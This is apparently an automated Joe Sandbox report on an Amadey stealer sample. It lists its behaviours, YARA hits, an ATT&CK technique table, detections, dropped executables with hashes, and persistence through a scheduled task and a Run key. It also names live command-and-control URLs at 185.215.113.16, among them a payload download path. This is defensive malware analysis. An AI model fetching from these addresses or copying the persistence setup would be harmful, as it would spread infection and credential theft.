Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\neon.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\neon.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\neon.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Code function: 6_2_007DCB1A GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

6_2_007DCB1A

Source: C:\Users\user\AppData\Local\Temp\1000356001\neon.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 6.2.axplong.exe.7c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.ea0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.axplong.exe.7c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.axplong.exe.7c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2058229773.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2663993052.0000000004940000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3308231483.00000000007C1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2099012889.0000000000EA1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2123771246.00000000007C1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2125174369.00000000007C1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2083588701.0000000004FB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2084797690.0000000004CC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	312 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	3 Obfuscated Files or Information	Security Account Manager	225 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Registry Run Keys / Startup Folder	22 Software Packing	NTDS	741 Security Software Discovery	Distributed Component Object Model	Input Capture	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	2 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	261 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Masquerading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Modify Registry	Proc Filesystem	1 Remote System Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	261 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	1 System Network Configuration Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	312 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	1 Hidden Files and Directories	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	50%	ReversingLabs	Win32.Packed.Themida
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\neon.exe	100%	Avira	TR/Agent.able
C:\Users\user\AppData\Local\Temp\1000356001\neon.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\neon[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	50%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\neon.exe	83%	ReversingLabs	ByteCode-MSIL.Trojan.CrypterX

Source	Detection	Scanner	Label
http://185.215.113.16/Jo89Ku7d/index.phpn	100%	Avira URL Cloud	phishing
http://185.215.113.16/Jo89Ku7d/index.php/d	100%	Avira URL Cloud	phishing
http://ns.a.0/sTy	0%	Avira URL Cloud	safe
http://ns.adobe.hotosh	0%	Avira URL Cloud	safe
http://ns.photo/	0%	Avira URL Cloud	safe
http://ns.adoraw-se	0%	Avira URL Cloud	safe
http://ns.adobe.c.0/ti	0%	Avira URL Cloud	safe
http://185.215.113.16/Jo89Ku7d/index.phpncodeda	100%	Avira URL Cloud	phishing
https://www.y2mate.com/search/	0%	Avira URL Cloud	safe
http://185.215.113.16/inc/neon.exex.php	100%	Avira URL Cloud	phishing
http://185.215.113.16/Jo89Ku7d/index.php6001	100%	Avira URL Cloud	phishing
http://185.215.113.16/Jo89Ku7d/index.php/S(	100%	Avira URL Cloud	phishing
http://185.215.113.16/Jo89Ku7d/index.phpW	100%	Avira URL Cloud	phishing
http://185.215.113.16/Jo89Ku7d/index.phpdeda	100%	Avira URL Cloud	phishing
http://185.215.113.16/Jo89Ku7d/index.phpy1mb3JtLXVybGVuY29kZWQ=l	100%	Avira URL Cloud	phishing
http://185.215.113.16/Jo89Ku7d/index.phpy1mb3JtLXVybGVuY29kZWQ=.inig	100%	Avira URL Cloud	phishing
https://www.youtube.com/results?search_query=/resources/jfdjhspa8klsd	0%	Avira URL Cloud	safe
http://185.215.113.16/Jo89Ku7d/index.phpMS	100%	Avira URL Cloud	phishing
http://185.215.113.16/Jo89Ku7d/index.phpdedX	100%	Avira URL Cloud	phishing
http://185.215.113.16/	100%	Avira URL Cloud	phishing
http://185.215.113.16/Jo89Ku7d/index.phpcoded	100%	Avira URL Cloud	phishing
http://185.215.113.16/Jo89Ku7d/index.php	100%	Avira URL Cloud	malware
https://www.erdtsieck.info	0%	Avira URL Cloud	safe
http://185.215.113.16/Jo89Ku7d/index.php?R	100%	Avira URL Cloud	malware
http://185.215.113.16/Jo89Ku7d/index.phpC	100%	Avira URL Cloud	phishing
http://185.215.113.16/C:in	100%	Avira URL Cloud	phishing
http://185.215.113.16/Jo89Ku7d/index.phpded	100%	Avira URL Cloud	phishing
http://185.215.113.16/inc/neon.exeOF	100%	Avira URL Cloud	phishing
http://185.215.113.16/Jo89Ku7d/index.php;	100%	Avira URL Cloud	phishing
http://185.215.113.16/Jo89Ku7d/index.phps	100%	Avira URL Cloud	phishing
http://185.215.113.16/Jo89Ku7d/index.phpnu	100%	Avira URL Cloud	phishing
http://185.215.113.16/Jo89Ku7d/index.phpncoded	100%	Avira URL Cloud	phishing
http://185.215.113.16/inc/neon.exe	100%	Avira URL Cloud	phishing
http://185.215.113.16/Jo89Ku7d/index.phpNR	100%	Avira URL Cloud	phishing

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.16/Jo89Ku7d/index.php	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.16/Jo89Ku7d/index.phpn	axplong.exe, 00000006.00000002.3310335104.0000000000E18000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://185.215.113.16/Jo89Ku7d/index.phpncodeda	axplong.exe, 00000006.00000002.3310335104.0000000000E95000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://ns.adobe.hotosh	neon.exe, 00000007.00000002.3334719492.0000000025750000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.y2mate.com/search/	neon.exe, 00000007.00000002.3328015730.00000000169F3000.00000004.00000800.00020000.00000000.sdmp, neon.exe, 00000007.00000000.2727242049.0000000000C9A000.00000020.00000001.01000000.00000009.sdmp, neon.exe, 00000007.00000002.3328015730.00000000166AC000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000C.00000002.3307432645.000000000013F000.00000040.00000400.00020000.00000000.sdmp, neon.exe.6.dr, neon[1].exe.6.dr	false	Avira URL Cloud: safe	unknown
http://ns.adobe.c.0/ti	neon.exe, 00000007.00000002.3334719492.0000000025750000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ns.adoraw-se	neon.exe, 00000007.00000002.3334719492.0000000025750000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ns.photo/	neon.exe, 00000007.00000002.3334719492.0000000025750000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ns.a.0/sTy	neon.exe, 00000007.00000002.3334719492.0000000025750000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/Jo89Ku7d/index.php/d	axplong.exe, 00000006.00000002.3310335104.0000000000E95000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://185.215.113.16/inc/neon.exex.php	axplong.exe, 00000006.00000003.2968191138.0000000000E4C000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000002.3310335104.0000000000E3C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/Jo89Ku7d/index.php6001	axplong.exe, 00000006.00000003.2968191138.0000000000E59000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/Jo89Ku7d/index.php/S(	axplong.exe, 00000006.00000002.3310335104.0000000000E59000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/Jo89Ku7d/index.phpdeda	axplong.exe, 00000006.00000003.2968191138.0000000000E95000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/Jo89Ku7d/index.phpW	axplong.exe, 00000006.00000003.2968191138.0000000000E95000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/Jo89Ku7d/index.phpy1mb3JtLXVybGVuY29kZWQ=.inig	axplong.exe, 00000006.00000003.2968191138.0000000000E68000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/Jo89Ku7d/index.phpy1mb3JtLXVybGVuY29kZWQ=l	axplong.exe, 00000006.00000002.3310335104.0000000000E68000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://www.youtube.com/results?search_query=/resources/jfdjhspa8klsd	neon.exe, 00000007.00000002.3328015730.00000000169F3000.00000004.00000800.00020000.00000000.sdmp, neon.exe, 00000007.00000000.2727242049.0000000000C9A000.00000020.00000001.01000000.00000009.sdmp, neon.exe, 00000007.00000002.3328015730.00000000166AC000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000C.00000002.3307432645.000000000013F000.00000040.00000400.00020000.00000000.sdmp, neon.exe.6.dr, neon[1].exe.6.dr	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/Jo89Ku7d/index.phpMS	axplong.exe, 00000006.00000002.3310335104.0000000000E59000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/Jo89Ku7d/index.phpdedX	axplong.exe, 00000006.00000003.2968191138.0000000000E95000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/	axplong.exe, 00000006.00000002.3310335104.0000000000E68000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/Jo89Ku7d/index.phpcoded	axplong.exe, 00000006.00000002.3310335104.0000000000E95000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://www.erdtsieck.info	neon.exe, 00000007.00000002.3328015730.00000000169F3000.00000004.00000800.00020000.00000000.sdmp, neon.exe, 00000007.00000000.2727242049.0000000000C9A000.00000020.00000001.01000000.00000009.sdmp, neon.exe, 00000007.00000002.3328015730.00000000166AC000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 0000000C.00000002.3307432645.000000000013F000.00000040.00000400.00020000.00000000.sdmp, neon.exe.6.dr, neon[1].exe.6.dr	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/C:in	axplong.exe, 00000006.00000002.3310335104.0000000000E68000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/Jo89Ku7d/index.phpC	axplong.exe, 00000006.00000003.2968191138.0000000000E4C000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000002.3310335104.0000000000E3C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/Jo89Ku7d/index.php?R	axplong.exe, 00000006.00000002.3310335104.0000000000E59000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/Jo89Ku7d/index.php;	axplong.exe, 00000006.00000002.3310335104.0000000000E68000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000003.2968191138.0000000000E68000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/Jo89Ku7d/index.phpded	axplong.exe, 00000006.00000003.2968191138.0000000000E95000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000002.3310335104.0000000000E95000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/Jo89Ku7d/index.phpw	axplong.exe, 00000006.00000002.3310335104.0000000000E68000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000003.2968191138.0000000000E68000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.16/Jo89Ku7d/index.phpnu	axplong.exe, 00000006.00000003.2968191138.0000000000E59000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://185.215.113.16/inc/neon.exeOF	axplong.exe, 00000006.00000003.2968191138.0000000000E4C000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000002.3310335104.0000000000E3C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/Jo89Ku7d/index.phps	axplong.exe, 00000006.00000003.2968191138.0000000000E4C000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000002.3310335104.0000000000E3C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/Jo89Ku7d/index.phpNR	axplong.exe, 00000006.00000002.3310335104.0000000000E59000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.16/Jo89Ku7d/index.phpncoded	axplong.exe, 00000006.00000003.2968191138.0000000000E95000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000002.3310335104.0000000000E95000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://185.215.113.16/inc/neon.exe	axplong.exe, 00000006.00000003.2968191138.0000000000E4C000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000002.3310335104.0000000000E3C000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000006.00000002.3310335104.0000000000E18000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.16	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1519710
Start date and time:	2024-09-26 21:31:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 26s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@20/9@0/2
EGA Information:	Successful, ratio: 28.6%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target axplong.exe, PID 6584 because there are no executed function
Execution Graph export aborted for target axplong.exe, PID 7032 because there are no executed function
Execution Graph export aborted for target file.exe, PID 3944 because it is empty
Execution Graph export aborted for target neon.exe, PID 3996 because it is empty
Execution Graph export aborted for target neon.exe, PID 4816 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
15:33:01	API Interceptor	104200x Sleep call for process: axplong.exe modified
15:33:56	API Interceptor	58x Sleep call for process: neon.exe modified
21:32:01	Task Scheduler	Run new task: axplong path: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
21:33:33	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run neon C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\neon.exe
21:33:41	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run neon C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\neon.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.16	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	Amadey, Go Injector, XWorm	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	Amadey, CryptOne, PureLog Stealer, RedLine, Stealc, Vidar, Zhark RAT	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16/Jo89Ku7d/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16/Jo89Ku7d/index.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Phorpiex	Browse	185.215.113.66
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\neon.exe	image.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse
	file.exe	Get hash	malicious	DarkTortilla, FormBook	Browse
	Approved_Invoice_0000384834.exe	Get hash	malicious	DarkTortilla, RedLine, XWorm, zgRAT	Browse
	po-544-8370.exe	Get hash	malicious	DarkTortilla, RedLine, XWorm, zgRAT	Browse
	Approved PO.exe	Get hash	malicious	DarkTortilla, RedLine, XWorm	Browse
	SO-0093848222.exe	Get hash	malicious	DarkTortilla, RedLine, XWorm	Browse
	LLC_KHIMAKTIV_SOFT_Po_Official_2023.exe	Get hash	malicious	DarkTortilla, RedLine, XWorm	Browse
	SO-x-008387489.exe	Get hash	malicious	DarkTortilla, RedLine, XWorm	Browse
	IB7QP60Fdx.exe	Get hash	malicious	AveMaria, DarkTortilla, UACMe	Browse
	Quote_for_order.exe	Get hash	malicious	AveMaria, DarkTortilla, UACMe	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\neon.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\neon.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1362
Entropy (8bit):	5.342650164635672
Encrypted:	false
SSDEEP:	24:ML9E4KlKDE4KhKiKhuE4UofoJE4r4CeylEE4aP6AE4KIRQ84j:MxHKlYHKh3ouHgJHreylEHMHKoQvj
MD5:	D82ED94A6CE58CB457D58446EB9CFEB0
SHA1:	67CDFD6F1503AEB97A7315B68CA9A7369CBA1710
SHA-256:	04E9DBED386B13AB2E42E6CBA204EF2C17B3BF44DBC30BDF673A79F4FB98166A
SHA-512:	3079B8B8131DC9BF8272FEC475A9A5C685E0DA9CDD881801DD0570EB51C8827541DFF1959BB6B7A7C27A40257AC316D3BF815BEC2690AEA0407E019CAE37D3BE
Malicious:	false
Reputation:	low
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"WindowsBase, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\WindowsBase\4d760e3e4675c4a4c66b64205fb0d001\WindowsBase.ni.dll",0..3,"PresentationCore, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\PresentationCore\17470ef0c7a174f38bdcadacc3e310ad\PresentationCore.ni.dll",0..3,"PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\Presentatio5ae0f00f#\

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\neon[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
File Type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3643904
Entropy (8bit):	6.674553235078717
Encrypted:	false
SSDEEP:	49152:KXSBgOQSMWnpCkICTugfaU6vTN4Z6WSk7s7jsjS4znnqyIn7TrvU:KygOQSVpC/CHMTWk8zn
MD5:	B3FD0E1003B1CD38402B6D32829F6135
SHA1:	C9CEDD6322FB83457F56B64B4624B07E2786F702
SHA-256:	E4A36BE98F730D706D2CA97A5D687329A1CC7D4848DAF698B7E21B6B9B577F31
SHA-512:	04692E0F80A75F78B533677CEFE3DB6607108ABF19963D88E231925CFA13F1EC054811AEBE53C82D238E732A999CD8D176107D50CF2EA5694D4177CBFD3B30F1
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d........................\#..<........... ....@...... ........................7...........`...@......@............... ................................#..:........................................................................................... ..H............text....[#.. ...\#................. ..`.rsrc....:....#..<...^#.............@..@........................................H.......X.".T.......N........-"..........................................~....Pt.f..L^[1.w.u......BZ.F...!....-.(...E..!l.\|.I..I.........f.9....H....OO._9XB....CR.....n\|kh.^..rl.y...~....`..Z...B...(.e._.p......F..j.gZ4p...h....Hy.7P6.Q..)9.2y.:...n.Fb.zW...\..cl....]...1.w...-...(....6i(.. ......U.r...g@..N..=q....].'...d....... ...plW!r._....D.x.q_.-.....<.F.sQ#ix.L....+..,b.."..W.......6h...\...d....0...`\.>.....1wlRln(}*...h...c......}:...a....b..9I.,.......P..szo.\|j

C:\Users\user\AppData\Local\Temp\1000356001\neon.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
File Type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3643904
Entropy (8bit):	6.674553235078717
Encrypted:	false
SSDEEP:	49152:KXSBgOQSMWnpCkICTugfaU6vTN4Z6WSk7s7jsjS4znnqyIn7TrvU:KygOQSVpC/CHMTWk8zn
MD5:	B3FD0E1003B1CD38402B6D32829F6135
SHA1:	C9CEDD6322FB83457F56B64B4624B07E2786F702
SHA-256:	E4A36BE98F730D706D2CA97A5D687329A1CC7D4848DAF698B7E21B6B9B577F31
SHA-512:	04692E0F80A75F78B533677CEFE3DB6607108ABF19963D88E231925CFA13F1EC054811AEBE53C82D238E732A999CD8D176107D50CF2EA5694D4177CBFD3B30F1
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
